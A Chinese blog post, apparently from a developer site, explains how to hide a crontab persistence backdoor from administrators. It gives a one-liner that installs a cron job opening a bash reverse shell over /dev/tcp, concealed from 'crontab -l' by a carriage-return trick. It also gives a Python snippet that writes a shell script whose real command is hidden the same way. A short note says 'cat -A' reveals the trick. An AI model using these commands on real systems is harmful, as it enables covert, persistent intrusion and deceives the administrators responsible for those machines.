linux定时执行后门,linux隐藏你的crontab后门

crontab定时后门

crontab是用来定期执行程序的命令,crond 命令每分钟会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。

注意: 新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行

比如我们通过redis写crontab后,管理员上线 执行`crontab -l` 就会查看到我们留下的可疑命令。那么我们如果躲避管理员的查看呢?

c3c37154fd0b

在这里插入图片描述

其实 `crontab -l` 是查看保存在这里 `/var/spool/cron/crontabs/root`文件。路径里的root对应每个用户不同的crontab

c3c37154fd0b

在这里插入图片描述

我们清除之前的cron, 再来一次。输入

(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0&9 2>&1;/bin/bash --noprofile -i;\rno crontab forwhoami%100c\n")|crontab -

这时候,管理员crontab -l ,或者查看记录文件都看不到定时任务了

c3c37154fd0b

在这里插入图片描述

定时任务还是存在的,应该怎么看到呢?

使用 cat -A xxx 就可以看到了。

c3c37154fd0b

在这里插入图片描述

原理就是cat一些比如 \r 回车符 \n 换行符 \f 换页符这些符号导致了隐藏。

这里用python制作一个隐藏的sh。

cmd_h = "echo 'You forgot to check `cat -A`!' > oops" # 隐藏

cmd_v = "echo 'You see me!'" # 显示

with open("test.sh", "w") as f:

output = "#!/bin/sh\n"

output += cmd_h + ";" + cmd_v + " #\r" + cmd_v + " " * (len(cmd_h) + 3) + "\n"

f.write(output)

然后用cat -A查看, cat -A 表示展示所有,等同于 -vET

c3c37154fd0b

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值